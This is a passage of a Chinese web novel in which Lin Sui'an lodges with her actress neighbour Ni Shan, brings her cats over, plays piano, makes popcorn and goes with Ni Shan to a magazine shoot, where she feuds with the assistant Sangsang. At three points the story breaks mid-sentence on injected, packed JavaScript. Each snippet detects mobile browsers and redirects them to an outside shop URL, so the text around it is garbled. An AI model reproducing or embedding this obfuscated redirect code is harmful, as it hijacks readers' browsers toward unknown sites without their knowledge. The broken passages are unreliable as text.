“其实我也喜欢绿色,不过我喜欢色度更深的森林绿。之前我在家具店看到过一张深绿色的沙发,没买,到现在都念念不忘。” “那你应该早点换成喜欢的,早换早享受。” 林岁安又开始给她上课了: “越是念念不忘,越是会觉得遗憾。” “其实你真的买回来发现可能也就是那么回事,但不买就永远都处在一个念念不忘的阶段。” “那你为什么这么晚才开始装修?” “没有钱。”小孩儿坦诚地说。 林岁安攒了一年多的钱,一边还钱一边攒钱,终于有了装修费用。 “对了,我可以玩你的拼图吗。”小孩儿拼着拼着,后知后觉问她。 “你玩儿都玩儿了,现在才想起来问我。” 倪杉抱着手臂,飘窗有点小,她的长腿伸不直,只能把脚卡在墙框上。 “赶紧拼,在你家装修好之前,我需要看到一幅完整的画卷。” 29. 装个大的 秦筝在两天后给林岁安打来了慰问电话: “你好啊我的朋友,你最近怎么样,在帐篷里睡得还好吗。” 算算时间,林岁安已经在户外睡了两天了。林岁安不给她发消息,一点消息都没有,秦筝总担心她会死在外面。 “不过这几天总下雨,你真不考虑来我家住吗。或者你来我们宠物医院住,在大厅放个折叠床,就当是帮我们值班了。” 秦筝的宠物医院刚跑了两个实习医生,现在急诊电话没人接,晚上也没人值班了,正好这个位置可以留给林岁安。 “我的小猫们怎么样啊。”林岁安跳过了这个话题问她。 “身体没问题,精神不太好。你平日里都是散养,它们现在笼养,没什么活动空间,肯定是不怎么开心。” 秦筝每天都有给她发一些猫猫们的视频,没办法,家里猫太多,做不到散养。 “你明天几点下班?我去你家一趟把猫咪们接回来吧。”林岁安说。 “晚上九点。” “接回去,你怎么办?你那边才刚开始刷墙吧,还要等很久才能晾干。” “我现在住在倪杉家。倪杉说可以把小猫也养在家里。” “……………” “那我明天晚上九点去你家找你。”林岁安说着就要挂断电话。 “hello?在吗?”不说话我挂了啊。 “啊啊啊啊啊啊!你住在倪杉家!!!” “你和她到哪一步了。” 亲了。睡了。抱了。 都住一起了,按照进度也快了。 真该死啊,还真让你幸福上了。 “就是借住而已,没有任何多余的念头。” “我白天要去房子里盯着装修,和她也不是一直都见面,晚上我俩都在单独的房间,互不打扰。” 林岁安忙不迭地和秦筝解释着。 她就知道秦筝一定会大闹一场。她理解。 如果秦筝在某天和某位女明星同居,林岁安一定也会去她面前大闹一场。 即使林岁安和倪杉强调了很多次,猫们会抓坏沙发和窗帘,倪杉都没有改变主意。 她说:“要是猫咪们把沙发挠坏了,你就把这个沙发搬去你家,然后我再换个墨绿色的新沙发。” 还有这种好事? 林岁安马上就决定要接猫咪们回家。 几天不见小猫咪们,她很是想念。 秦筝晚上九点半准时在家门口看到林岁安的面包车。 林岁安正站在楼道门口,也不知道等了多久。 “你剪头发啦!”秦筝问她。 “没有啊,和上次一样。” “那怎么看上去感觉有变化了呢。”整个人说不上有什么不同,但就是不一样了。 “你真的住在倪杉家吗,她家好不好啊。”两人一边上楼,一边聊着天。 秦筝都要好奇死了。有机会的话好想去女明星家看看啊。是不是和电视剧里演的一样,衣帽间有一个很大的玻璃柜用来放奢侈品包包和高跟鞋。 “和我家格局一模一样,一个院子,一个二层小楼,外加一个放杂物的阁楼,你不是来过我家吗。”林岁安表示也就平平无奇啊。 “那能一样吗。我去你家的时候你家还是个毛坯房,让人没有一丝想要居住的欲望。” 倪杉家肯定不是毛坯房。 秦筝至今想起来,都觉得林岁安家的毛坯房阴森森的,很灰暗,很像犯罪现场,怎么布置都不温馨。归根结底是没有刷墙和铺地板地砖,还有那个楼梯也很陡,每天上楼就像在登山 “她家也没多好,就是很普通很常见的装修。而且她是租的房子,应该没打算常年住。” 我们不会一直都是邻居。 林岁安跟着秦筝进门,所有小动物都迎上来,确实太多猫了,不知道的人还以为秦筝有小猫咪囤积症。 林岁安的猫被秦筝安置在卧室最大的猫笼子里,三层猫笼,几只小猫见到林岁安,都激动地要出来。 林岁安把它们一只接一只装进猫包,这五只猫当初救治的时候已经是成年猫了。 “倪杉平常都是一个人吗,她没有朋友来找她玩吗?” “好像没有。我没见到过。” 林岁安脑海中浮现出趴在沙发上看手机的倪杉: “一个人带着狗搬到松谷山下住,也就意味着没了社交。” 林岁安偶尔还会和秦筝打个语音电话聊天,听秦筝说说外面的世界都发展成什么样了:又有谁家主人把猫狗丢在宠物医院门口了,谁家孩子带着难产的乌龟来医院让医生做刨腹产,以及榆城最近又新开了什么奶茶店和新餐厅,前不久还在营业的拉吧倒闭了。 她目前还没听过倪杉和人打电话。 “她也是为了狗才搬家的哈。” “当然。” “也是有心了。其实养大型犬的人都特别不容易。她那个品种狗,我说句不好听的,平均寿命不长,也就这几年了。” 和秦筝说了再见,林岁安开着车往家赶去。 路过一家烧烤店,她又下车去打包了烤串。虽然买了两人份的,她又觉得这个时间,倪杉肯定是不吃东西的。 等林岁安带着猫咪们回家,倪杉正坐在院子里的长椅上带着一猪看月亮。 这长椅和她的小院儿简直太适配了,既然说好家里的沙发要送给林岁安,这两张长椅她索性就让林岁安留在这里。 “你要是喜欢坐在院子里看月亮,为什么不买一个秋千椅?”林岁安从车上下来,隔着小院的围栏问她。 “你家不是有吗,我要是想荡秋千,可以直接去你家借你的玩一下,何必要自己安装一个秋千。” “也对。” 倪杉家小院儿的铁栅栏很高很高,防贼的,这是当初桑桑特意给她选的。考虑到一猪没有任何看家护院的功能,桑桑给她选了监狱大门同款围栏。桑桑原本要给她找工人砌墙把院子围起来,把她严严实实地保护在里面,被倪杉拒绝了。 太夸张了。 倪杉给她开了院门,一猪最先发现林岁安包里有小猫咪,一个劲儿地闻啊闻。 “小猫今天先放在一个单独空间里隔离,等两天后熟悉了小环境再让它们探索更大的环境。” 林岁安把烧烤袋子递给倪杉,又把小猫们安放在二楼书房。猫砂盆和水碗饭碗都提前摆好,一切准备就绪。 “你车上后座的那个长长的扁扁的东西是什么啊?好长好大。”林岁安的面包车开着车窗,倪杉看到了她放在里面的东西。 “电钢琴。” “你会弹钢琴吗。” “略懂。” “我也略懂,我之前演过一个角色,是个钢琴演奏家,当时也是临时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299310|198623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去找老师学了一点小曲子,也能像模像样地在镜头前糊弄过去。” 倪杉手痒地说: “你想听的话我可以给你展示一下。” 她想玩。 “好啊。”我洗耳恭听。 林岁安把电钢琴取回来时,倪杉已经把茶几上的书本杂物都清空了。 她在林岁安的注视下,弹了一首小星星。 “好久没弹了,我都生疏了,当初学的时候我弹得很不错。”倪杉满意地坐在钢琴前,看着对面的林岁安。 ………愣着干嘛,鼓掌啊! 林岁安像海豹一样啪啪啪啪鼓了掌,并礼貌地夸赞道:“弹得好!” “好了,到你了,你会弹什么啊,还不会是要弹巴赫肖邦之类的吧。” 你该不会要装个大的吧。 “那不会。我水平也没那么好。” 倪杉坐回到沙发上,把位置让出来,静静看着她。 小孩儿气质清贵,纤长的手指在琴键上来回跳动,她把弹琴这件事展示得十分轻松,好像弹琴是不需要学习和练习的,生来就会。 倪杉听出她弹的曲子是《圣诞快乐劳伦斯先生》。 这么漂亮的一双手,弹着这么悲伤又动人的曲子,听得倪杉心里那股无名火都渐渐消散了。 她知道这是天赋,不是靠勤学苦练就能习得的。有天赋的人弹出的曲子是不一样的。 “你学了多久。” “小时候一直都在学。” “真羡慕。我小时候都没有机会接触这些。” 倪杉从桌子上拿起烧烤签,选了一串鱼豆腐: “那你还说你略懂,明明就懂的要死。” “我后来也没有再考级了,再加上这么多年没碰过琴,只能算是业余水平。”林岁安不打算多弹一曲,适可而止。她不太习惯有观众,她还是喜欢一个人唱歌一个人跳舞一个人弹琴。 有人在的话她没办法沉浸。 “挺好,这个琴就留在这里吧。”倪杉抬脚,一脚踩住了她的裤脚。 “………我要收起来。” “留在这儿。” “收起来。” “留在这儿。” “我先收起来,你要是下次想玩我再拿出来。”林岁安假装和她商量。 “你都弹成那样了,我还想玩什么。”倪杉看着她对电钢琴爱惜的样子,觉得这小孩儿真是口是心非。 明明就很喜欢,却摆出一副这件事对我一点都不重要的态度。 “明早吃饭的时候我想你在这里给我弹钢琴。” “你一边吃,我一边弹琴?” “对。” “我发现你这个人挺宝藏的,你有很多隐藏技能,会养猫,会遛狗,会拼拼图,还会弹钢琴,做饭也很好吃,还会从众多书籍中选出最好看的那一本。” “都是些没用的技能。”林岁安自我总结道。 “你也不错啊,你很会享受,还要在吃早餐时观赏现场钢琴演奏。” 林岁安又说: “不用等明天了。你现在一边吃烧烤,我一边给你弹。你想听什么?” 倪杉想了想,点了一首歌:《诀别书》。 “不过我要背对着你听,可以吗。” “可以。” 每次听这首曲子,倪杉都会想到曾沐,然后泪流满面。 30. 两人仿佛做了妻妻一般 倪杉那天晚上背对着林岁安,没能听完一整首曲子。 她泪流满面地站起身,回到二楼,躲进了洗手间。 林岁安没有停止弹奏,她坚持弹完了一整支曲子,按下最后一个音符,坐在客厅久久回味着。 她没有去二楼找倪杉,人在悲伤时需要独处,她不会去打扰她,也不会去问她为什么哭。 她坐在地毯上,把剩下的烧烤肉串吃掉,拉住客厅的窗帘,挡住了窗外的月亮。 在这之后,倪杉没在和林岁安提过弹琴的事。 电子钢琴被林岁安放在书房的书架上,大多数时候依然是闲置的状态。 林岁安每晚的业余活动是拼拼图。 倪杉只是说是而已,她却当了真:在家里装修完毕之前,她想要把这幅拼图拼好,就当是报答倪杉让她借住在家里的恩情。 几只小猫先是适应了书房,第一步是探索倪杉的卧室。一猪一开始会有追猫跑的冲动行为,被林岁安教育之后也接受了家里有猫的现实。 倪杉很奇怪,一猪其实很赖皮,但却很听林岁安的指令。 她不禁感慨:林岁安在狗面前树立威信真是有一套,不愧是小狗幼儿园园长。 养猫和养狗的体验完全不同,早上林岁安去遛狗,倪杉就躺在被子里摸着枕边睡懒觉的小猫。没几天功夫,所有小猫都不约而同地上了她的床。 倪杉没想到自己原来猫猫缘很好。她给靠在胸口处的小猫拍了张照,发给了桑桑。 “姐!你有猫了!” “不是我的猫。” “好可爱,嘤嘤嘤。” “猫和狗真的一点也不一样。”倪杉很感慨地说。她的手放在小猫的肚子上轻轻揉捏,小猫的爪子粉粉嫩嫩,光是看着就很治愈。 这只橘白长毛猫是最早和倪杉亲近的。至于其它小猫,倪杉背着林岁安给它们喂了罐头和猫条,收买了猫心,在那之后才开始和倪杉贴贴蹭蹭。 “姐,下个月进组,经纪人通知你了吧。” “收到消息了。” “那就好,剧本我发你了,你这段时间看一下,没什么问题我们下个月就要开工啦。” 倪杉在周末收到桑桑发来的网剧剧本,她在手机上看了几页就看不进去,然后去了打印店,把剧本打印出来装订成册。 这剧本质量明显不如之前那部剧,倪杉没得选,好在这次是个犯罪题材的网剧,拍摄班底也算不错,倪杉演一个女毒枭,最后的结局是在逃跑的过程中被警方击毙在海里。 演女警的演员是个很年轻的小姑娘,童星出道,在小时候演过一次曾沐的女儿。 那时候曾沐和倪杉吐槽她的角色:“什么人会在二十岁出头就和人结婚生子,疯子吗。” 倪杉还去剧组探过班,想不到当时的小团子已经长成大姑娘了,都要击毙她了。 她在卧室和客厅都没有工作状态,于是让林岁安帮她从一楼搬了一把椅子到书房来,两人面对面坐着,各忙各的事:林岁安戴着耳机拼拼图,倪杉拿着荧光笔在剧本上涂涂画画。 倪杉的戏份不算太多,起到一个工具人的作用,她每次都是读完一整个剧本,不会只看自己的那一小部分。 “姐,你之前说你小时候是学习武术的?在哪儿啊?”林岁安在玩拼图的过程中和她闲聊。 “在县里,那种封闭的武术学院,就跟体校差不多。” “怎么会想到去学这个?”林岁安问她。 “家里小孩儿太多,不对。家里女孩太多,我上面还有两个姐姐,二姐也很小就离开家,被送去学体操了。大姐一直留在家里,帮忙操持家务。” “我离开家的时候年纪也小,被送去拜师,其实相当于被父母送养了,和去孤儿院差不多吧。” 说是学武术,本质上却是武术表演,学会后能混口饭吃。 上学什么的太慢了,她们这样的孩子没有慢慢长大的时间,要尽快学点本事来养活自己。 “我父母一直想要男孩,我家乡那个地方都是这样,送养出去不少女孩。” 倪杉不知道小孩儿能不能理解。 小孩儿小时候既然有在学钢琴,那就说明她家境很好,可能没办法理解那种贫穷。 虽然是封闭式武术学校,学武术的孩子大多是倪杉这样的女孩,男孩很少,男孩都是家里的宝贝。她和曾沐在八岁时就跟着师傅去地方电视台演出,去演出的话有劳务费可以拿,所有人都争先恐后想去。他们这群孩子之间竞争也很激烈,都很早熟,要用一些小手段讨好师父,生活很不容易,倪杉一直是被曾沐照顾的那个。 曾沐比倪杉还要小一岁,却摆出一副姐姐的姿态,一直在照顾她。 她和曾沐就在这样的日子里加速长大了,她们两个长大后赚了钱都喜欢买带玩具的零食,所有人都是从小孩过来的,但她俩不是。她们两个都觉得自己好像没有做过一天小孩,满脑子想的都是以后怎么办,要怎么活下去。 “那你后来做了演员,你父母有来找过你吗。” “有。不过我改名了,户口什么的也早就找关系迁走了,她们只能找到师父那里。我师父不会出卖我,我和他说好了,我每年都会固定给他打一笔钱,如果他把我的联系方式告诉我父母,这笔钱从此以后就没了。” 以前是倪杉和曾沐每年一起给师父汇钱,现在曾沐走了,倪杉每年依旧保持着汇钱的习惯,连带着曾沐的那份一起。 师父对孩子们并不算好,很冷漠,很严格,经常会体罚偷懒的孩子。到底是有养育之恩,没有师父,倪杉也不会有今天。 倪杉第一次和一个外人说起这些过去。 连桑桑都不知道这些,只知道曾沐是和倪杉一起奋斗打拼的好伙伴,感情很好。 现在曾沐走了,倪杉的这些过去再也没有谁知道了。当初公司给曾沐在出道时做了假的背景身份,倪杉的简历就更为简单,只有一个出道后的第一部作品,其他什么都没有。 她没有曾沐那么红,因此没有专访问过她过去的事,没人想知道她是怎么长大然后走到今天。 林岁安是个很好的倾听者,她和倪杉没有利益关系,小屁孩儿一个但精神上却老气横秋,她自己本身又有很多谎言和破绽,因此倪杉对她没有设防。 许久,林岁安在桌下晃着脚,开口道:“你真的不要来试试吗。这拼图我都拼了快五分之一了,其实没那么难。” 倪杉放下剧本,起身走到小孩儿身边,和她一起,从同一个角度看着拼图。 小孩儿不是从一个方向拼的,而是从四个方向同时拼,每个边缘都能看出大致的图案轮廓。 “你把容易拼的部分都拼好了,中间的是最难的,我拼不了。”倪杉伸手摸摸小孩儿的后背,小孩儿敏感地瑟缩了一下,很明显不喜欢被触碰。 她于是又伸手碰了碰小孩儿的肩。 “我手里这一块,你看看该拼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299311|198623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在在哪里?”小孩把手里找好的拼图给了倪杉,让她自己拼。 倪杉拿着碎片,一边观察一边问:“你确定是这块吗?” “确定。” 确定啊。 那这么说,找不到该拼在哪里,就会显得我很笨。 倪杉的心理压力一下就上来了。 她认真看了半天,终于把碎片拼在边缘处的角落上。 拼对了。 “你怎么找到的!”倪杉很有成就感地照着林岁安的后背拍了一掌。 “认真观察,仔细对比。” “太难了。”倪杉看着那对拼图碎片就头皮发麻。好像是把一堆落叶拼回到树上一样,好难。 “不难,你要……改变对时间的态度。你要放松,你要把时间当作可以随意浪费的东西。” “人有耐心的前提就是觉得时间不重要。” “时间不是金钱吗。”倪杉问她。 “时间当然不是金钱了。时间就是时间本身。” “可能是每个人的想法不一样吧。我的人生我的时间就是要像这样慢慢浪费掉,全都花在自己身上,做喜欢的事。” 林岁安又成功拼好了一粒拼图,今晚的进度又往前迈了一步,她扭头问倪杉: “对了,你想吃爆米花吗。” 晚上十点,倪杉家灯火通明。 林岁安和倪杉在厨房,在锅里倒油,翻炒玉米粒。 倪杉有点害怕地躲在后面,看着林岁安做。 一猪就更胆小了,躲在厨房外面,躲在大黄身边,它能闻到香味,知道是在做好吃的东西,但又很是害怕。 “会不会爆炸啊。”她担心地问林岁安。 “当然会,不然为什么会叫爆米花。” “我没做过,我都是,在电影院买现成的。” “那你来炒。”林岁安把小铲子递给她。 “不了,还是你来。” “这么胆小啊。”林岁安笑着打趣道。 “不是,我是怕嘣得到处都是,弄脏我的厨房。” 突然,第一颗爆米花诞生了。 “快快快,快把锅盖盖住。” “不着急,再炒一炒,一切尽在掌控中。” “快点!要爆炸了!”倪杉都要急死了,她看着林岁安这副悠闲的不紧不慢的嘴脸就来气。 林岁安在她着急的注视下盖上锅盖,那一瞬间,一锅玉米粒迅速膨胀,一粒粒撞击着锅盖发出声响。 安静之后,林岁安把爆米花倒进大碗里,又在锅里放了黄油和焦糖一起融化,把爆米花倒进锅里搅拌。 “好香啊。现在是在干什么?” “普通的爆米花没有味道,要在表面涂一层这样的黄油焦糖才好吃。”林岁安把爆米花倒回碗里,倪杉伸手要拿,被小孩儿一把抓住了手腕。 “不行,要晾一晾才能吃。”你怎么总是那么着急。 林岁安用筷子夹起一颗轻轻吹,喂给倪杉:“现在试试看烫不烫。” 爆米花香甜酥脆地融化在舌尖,倪杉的心情都变得好起来。她笑眼弯弯地看着林岁安说:“很甜,你也尝尝。不过在睡觉前要记得刷牙。” 林岁安小脸一红,背过身去,自顾自地开始洗锅。 房子又大又空又静,她能清楚地听到自己的心跳。 好漂亮啊。 世界上怎么会有这么漂亮的女人,化妆后很漂亮,素颜时更漂亮。 31. 情敌 桑桑在上午发来消息:“姐,有两家杂志想和我们合作,你拍不拍?” “拍的话我就给你安排在紧挨着的两天,你回京市忙完再回榆城,刚刚好。” “好啊。”倪杉知道,自己的粉丝又把自己列为失踪人口了。 自从角色被抢之后,倪杉的官方社交平台就没有更新过任何内容。这次去京市,她要记得多带几套衣服,让桑桑帮她在不同地方拍些照片,留着以后慢慢更新。 倪杉以前经常和桑桑一起去京市的咖啡馆餐厅小公园拍照,随时都可以出门来,现在人在榆城,她和桑桑商量好,每个月至少留出两天时间去京市拍这些有的没的。 上个月倪杉没心情,就把这件事搁置了,现在桑桑要她还债,把欠下的物料全部补拍完。 林岁安白天依旧在家里盯装修,她把客厅刷了马卡龙淡绿色的墙壁,二楼卧室换成了深一个色度的绿,还有一间房刷成了淡淡的粉色。 宠物的寄养房间是最早装修好的,几经犹豫,她还是把养狗的房间刷成了淡淡的蓝色,养猫的房间维持原有的奶咖色墙壁不变。 客厅的马卡龙绿没有现成的颜色,是林岁安自己用两种颜色的墙漆调配拼兑的。为了把房租打造成理想的居所,她一边调配一边计算自己的余额,等铺完地板,就去二手家具城看看床和桌子。 同时,她收到秦筝发来的消息:在这周的五六日三天,小动物保护组织的朋友们要去京市忙连续三天的领养活动。有时间你也要来帮忙啊! “姐,你要去工作啊。”林岁安晚上回家后,看见倪杉把行李箱摊开,放在二楼的走廊上。 “对。我有两个拍摄,要去京市两天。”倪杉拿了两条裙子,随手丢进行李箱。 “我送你吧。还是,你有车接?”林岁安蹲在行李箱旁边,帮她把这两条裙子叠好。 “你怎么这么好心要送我。”倪杉刚洗完手,很恶劣地把水蹭在林岁安的衣摆上,她看见小孩儿难以抑制地露出不满的情绪。 “我在你家住这么久,怪不好意思的,也想帮你一点小忙。”小孩儿说。 上次开车带倪杉去市中心逛街,林岁安觉得两人一起出行很和谐。姐姐没有嫌弃她的面包车,路上一直在撸小猫。 “那你送我吧,不然我还要拖着行李去坐高铁。”倪杉欣然答应了。 厨房岛台上的透明罐子里,两人一起做的爆米花还没吃完,爆米花上的焦糖涂层在灯光下发亮。 倪杉在上午十一点进棚。这影棚位置偏僻,她让林岁安跟自己一起进去工作,还能蹭个奶茶蹭顿饭。 林岁安本来是不愿意的,但一听能蹭饭,她就主动拎着倪杉的包和行李,一脸忠诚地跟在她身后。 别的艺人来棚里拍摄,身后都跟着五六七八个甚至更多工作人员,倪杉每次就只带桑桑一个助理,即使再多一个人也没什么。 当桑桑看着倪杉身后还跟了另一个助理,顿时感觉天都塌了: 她一脸幽怨地看着倪杉:姐姐你怎么有别的狗了。那我呢。我不是你唯一的助理了吗。 “我介绍你们认识一下,这是桑桑,我的助理妹妹,这是林岁安,我的邻居。” 林岁安和桑桑竟然都默契地没有和对方打招呼,都不想搭理对方,相互看不顺眼。 倪杉抓紧时间去化妆间做妆发,留她们两个小姑娘在外面慢慢别扭。女演员的妆发做起来很慢,要两个小时左右才能完成。 林岁安第一次来摄影棚,她好奇地在影棚里转悠了一圈,无视桑桑的不友好和审视的目光。 桑桑不想和她待在一起,转身跑去化妆间找姐姐要个说法。她在倪杉身边不远处的化妆椅上坐下,倪杉闭着眼睛,正在让化妆师化妆。 感觉到身边有人,倪杉睁开眼,看着镜子里的桑桑一脸不开心,于是安慰道:“你放心,你姐没那么抢手,没人和你抢。” 怎么没人和我抢!那这是什么情况! 你让她帮你拎东西!还带她来拍摄现场! “今天是她送你来的吗。”桑桑酸溜溜地问她。 “对。” “姐,我也可以送你。” “你一大早开车去榆城接上我再过来,太折腾了。”倪杉摇摇头,否定了她的方案。 拍杂志其实很无聊,等待也很无聊,倪杉拿出手机,给林岁安发了消息: “等下吃完饭你可以先走。” “五套衣服,我要一直拍到晚上五六点才能收工。” 林岁安正在犹豫着,忽然,她感受到一道强烈的不友好的目光从一旁照射过来,一转身,就看见抱着手臂的桑桑。 哎呦。我们两个无冤无仇,甚至才第一次见,就看我这么不顺眼? 林岁安知道,有些人之间的气场天生合不来,人就是会对另一个人产生莫名的恶意和偏见。 既然有人看我不顺眼,那我偏偏就呆在这儿不走了。 我不仅不走,我还要当着你的面抢走你的姐姐。 她走上前,主动和桑桑说了第一句话:“倪杉现在和我住一起。” “你是来干什么的?临时助理?还是没见过世面,来看拍摄的?”桑桑没好气地问她。 和倪杉住一起怎么了?我以前在剧组也经常去姐姐房间,而且过段时间马上就要进组了。 林岁安身上散发着一股百香果薄荷糖的味道,和倪杉散发的味道一模一样。她们在路上分享了同一款压片糖。 “我是来蹭饭的。” 林岁安说着,走到桑桑面前,挑衅地说: “顺便保护姐姐,照顾姐姐,配合姐姐完成所有拍摄工作。” 她一直都知道桑桑。 倪杉说,桑桑又乖又可爱,不像你,只知道气我。 乖吗,可爱吗。我怎么不觉得。 又小气又普通。 倪杉的头发还没做完,就到了午餐时间。 午餐是每人一份麦当当套餐,桑桑给倪杉和自己额外点了咖啡,拎着咖啡进化妆间和倪杉一起吃。 林岁安坐在化妆间门口的椅子上,自如地喝着套餐里配的可乐,吃着汉堡。她能听到化妆间里传来的聊天声和笑声。 聊什么呢,这么开心。 倪杉打开化妆间门,就看到了林岁安: “你就自己一个人在这儿吃?要不要进来啊。” 作为艺人团队的一员,你可以进来。 “不用,我一个人挺好。”林岁安才不要进去,她不想和那谁呆在一个房间。 “进来嘛。” “不要。” “那我这个鸡块儿不吃了,给你好不好。”倪杉套餐里有一盒鸡块,她吃完汉堡就已经饱了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299312|198623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她把鸡块放在小孩儿腿上,伸手想要摸摸小孩儿的脑袋,小孩儿机敏地躲开了她的手。 她再摸,小孩儿又躲,继续摸,继续躲。 倪杉捉弄完小孩之后拍拍手,满意地转身回到化妆间。 第一套长裙给倪杉搭配了一双很大的天使翅膀,倪杉觉得很羞耻。 桑桑和林岁安看到后都很兴奋,让她赶紧戴上试试。 “等下,我知道这个谁戴最合适。”倪杉转过身,视线在桑桑和林岁安之间扫来扫去。 “谁?” “你。”她指着林岁安这一头金白色的头发,配上这一双雪白的翅膀,拍照一定很好看。 “你戴上我看看。” 桑桑不愧是跟了倪杉五年,倪杉一个眼神她就知道什么意思。 她拿着翅膀,追着林岁安绕着影棚跑,林岁安哪是那么容易能追到的,她可是每天遛狗五公里的人,跑超快。 最终,桑桑被累倒在半路,还是倪杉戴着翅膀登上了影棚最高的道具梯子。现在怎么那么流行坐在天梯上拍摄啊,好怕怕。 “你们知不知道那首歌,最天使。” 她坐在梯子顶部,按照编辑的要求把双腿放下来晃悠在空中。 这梯子好高,下面的人都变小了。摄影师也登上另一把梯子,调试着设备,倪杉一边等待,一边轻轻哼唱: “最好的那个天使~我最熟悉的字是你的名字~ 我们会有大大的房子~你会送我一首小诗~” 林岁安站在下面,仰起头,远远看着她。 倪杉身上这件白色的礼裙很像是简约款的婚纱,珠光白缎面,灯光打上去反射出珍珠的光泽。长卷发披散开来,她伸手把落在锁骨处的头发拨弄开,不让头发挡住胸前的项链。 那对翅膀戴在身后很灵,造型师说是特意为这次拍摄定制的,外面买不到,长长的白色羽毛翩然垂落,虽然很美,倪杉还是感到很羞耻。 三十多岁的人还跟小孩儿一样戴个翅膀,她难以接受。 摄影师拍摄的同时,桑桑也举着相机在一旁侧拍花絮。林岁安站在编辑身后,看着电脑上显示的照片。 和真人相比,照片就显得逊色很多了,真人身上那些生动的神态和美丽没办法定格。 她于是转过身去,专心地盯着倪杉看。 林岁安在心里其实觉得这套造型很土,多亏了倪杉气质很好,拍出来才没那么拉垮。 这一套拍了十五分钟。 拍摄结束,倪杉小心翼翼扶着梯子准备下来,她低头看去,见到林岁安就站在下面,她的胆子也就大了起来,一步步从梯子上爬下来。 这双拍照用的高跟鞋太高了,很难走,她要十分小心,以防踩空。 林岁安和桑桑都在下面伸手想要扶着她,倪杉在两人之间犹豫了一下,把手搭在林岁安的手臂上,扶着她一步步走下来。 她一边走,一边不忘和桑桑解释:“她稳当一点,她力气很大。” 扶着林岁安比较让人有安全感。 林岁安抱过她两次还是几次,每次都很稳。 桑桑点点头,表现出一副大义让姐的神情,放下大疆转身去忙别的,她还要帮姐姐拿下一套拍摄的衣服。 她比姐姐先一步跑回到化妆间,清晰地感觉到铺天盖地的难过和心碎。 32. 绑带 倪杉随手把翅膀摘下来交给林岁安,去更衣室换第二套衣服。 这条中古款式的玫瑰粉裙子就轻盈多了,没有那么复杂隆重的设计,倪杉在更衣室挣扎了一会儿,无奈地喊桑桑进来帮忙: “桑桑,你进来帮我一下,这个后面我搞不了。” 裙子背后是绑带设计,需要一点点把缎带串起来,在领口处系成一个蝴蝶结。 服装搭配的造型师是男性,倪杉不想让他帮忙。 桑桑进到更衣室,像串鞋带一样帮倪杉把裙子背后系起来,串到一半,她自己都皱起了眉头: “等下需要拍到背后的吧,我系得太难看了。” “还有谁会系这种绑带吗。” 倪杉想起了林岁安那双纤细灵巧的手,她连忙对着外面喊道:“林岁安,你在不在。” 小孩儿一直坐在更衣室门口,听着里面的动静。 桑桑气鼓鼓地从里面走出来,换林岁安进去。 林岁安淡淡地看了她一眼,眼里不屑的意味很明显: 你看,机会是留给有准备的人的。 先来的人有什么用,连个蝴蝶结都系不好。 林岁安掀开帘子进去,倪杉正苦恼地坐在椅子上,看到她的一瞬间,她眼睛都亮了:“你会系这种绑带吧。” “会。”林岁安点点头,把桑桑刚刚系的乱七八糟的缎带解下来。系的什么东西,丑了吧唧的。 “太好了,我都急死了。我不想让那个男造型师帮我弄。” 幸好你会。 小女孩儿的手有一下没一下地轻触她的后背,可能是在空调房里待了太久,她的手指冰凉。 “你怎么什么都会?什么时候学的。”倪杉随口问道。 “刚刚。” “刚刚?” “两分钟前,我在更衣室门口现查的教程。”林岁安手上的动作没有停止,她欣赏着倪杉光洁的后背,手指一个不小心又触碰到了她的皮肤。 “你看一眼就学会了?”怎么这么聪明啊。 “教程讲的很清楚。” 林岁安问她: “这样会不会很紧,这个松紧度可以吗。” “可以,我觉得刚刚好。紧一点比较有安全感。” “那我收尾了。”林岁安手很巧,按照服装造型师的要求,给她在背后绑了一个漂亮的大蝴蝶结。 更衣室就有镜子,倪杉对着镜子看了看,后背的绑带整洁又美观,完全就是艺术品,她有点开心地拉着林岁安的手,牵着小孩儿走了出去。 “怎么样,她系的,是不是很厉害。”倪杉马上对造型师说道。 “确实很好看,手艺人,比我系的好。你是不是处女座啊,精致得都有点像强迫症的手笔。” 造型师也说这个绑带没问题,倪杉扶着林岁安换上一双新的高跟鞋,开心地去拍照。 高跟鞋也是绑带设计,桑桑眼疾手快地蹲下身,帮姐姐调整。这个我会,我来!给女人穿鞋的工作留给我! 倪杉依旧习惯性地扶着林岁安,她看林岁安今天好像一直很沉默,于是问她: “怎么样,是不是觉得我的工作还挺无聊的。” 和拍戏相比,这种拍摄几乎是任人摆布,没有灵魂。 林岁安摇摇头。 倪杉这张脸还是很适合做这一行的,很有故事感,也很有情绪,她很多时候只是在放空,却能让人脑补出一场情感大戏。 